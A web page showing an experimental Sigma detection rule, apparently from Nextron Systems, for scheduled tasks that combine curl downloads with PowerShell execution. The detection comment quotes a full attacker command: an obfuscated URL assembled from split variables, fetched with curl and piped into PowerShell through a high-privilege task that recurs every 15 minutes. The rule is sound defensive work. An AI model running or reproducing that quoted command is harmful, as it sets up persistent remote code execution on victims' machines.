Detectionmediumexperimental

Scheduled Task Creation with Curl and PowerShell Execution Combo

Detects the creation of a scheduled task using schtasks.exe, potentially in combination with curl for downloading payloads and PowerShell for executing them. This facilitates executing malicious payloads or connecting with C&C server persistently without dropping the malware sample on the host.

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Launch
Swachchhanda Shrawan Poudel (Nextron Systems)Created Wed Feb 051d174d38-8fda-4081-a9b6-56d9763c0cd8windows
Log Source
WindowsProcess Creation
ProductWindows← raw: windows
CategoryProcess Creation← raw: process_creation

Events generated when a new process is spawned on the system. Covers command-line arguments, parent/child relationships, and process metadata.

Detection Logic
Detection Logic3 selectors
detection:
    # Example: cmd start /min /c schtasks /create /tn PolicyConverter /sc minute /mo 15 /tr "conhost --headless cmd /v:on /c set a=https&set b=inh&set c=ostne&set d=tservice.co&set e=!a!://www.!b!!c!!d!m& curl -o - !e!/mscu/lokc.php?wl=HGNBWBGW**Admin | powershell" /rl Highest
    selection_img:
        Image|endswith: '\schtasks.exe'
        CommandLine|contains|windash: ' /create '
    selection_curl:
        CommandLine|contains|all:
            - 'curl '
            - 'http'
            - '-o'
    selection_powershell:
        CommandLine|contains: 'powershell'
    condition: all of selection_*
False Positives

Legitimate use of schtasks for administrative purposes.

Automation scripts combining curl and PowerShell in controlled environments.

Rule Metadata
Rule ID
1d174d38-8fda-4081-a9b6-56d9763c0cd8
Status
experimental
Level
medium
Type
Detection
Created
Wed Feb 05
Path
rules/windows/process_creation/proc_creation_win_schtasks_curl_and_powershell_combo.yml
Raw Tags
attack.privilege-escalationattack.executionattack.persistenceattack.t1053.005attack.defense-evasionattack.t1218attack.command-and-controlattack.t1105
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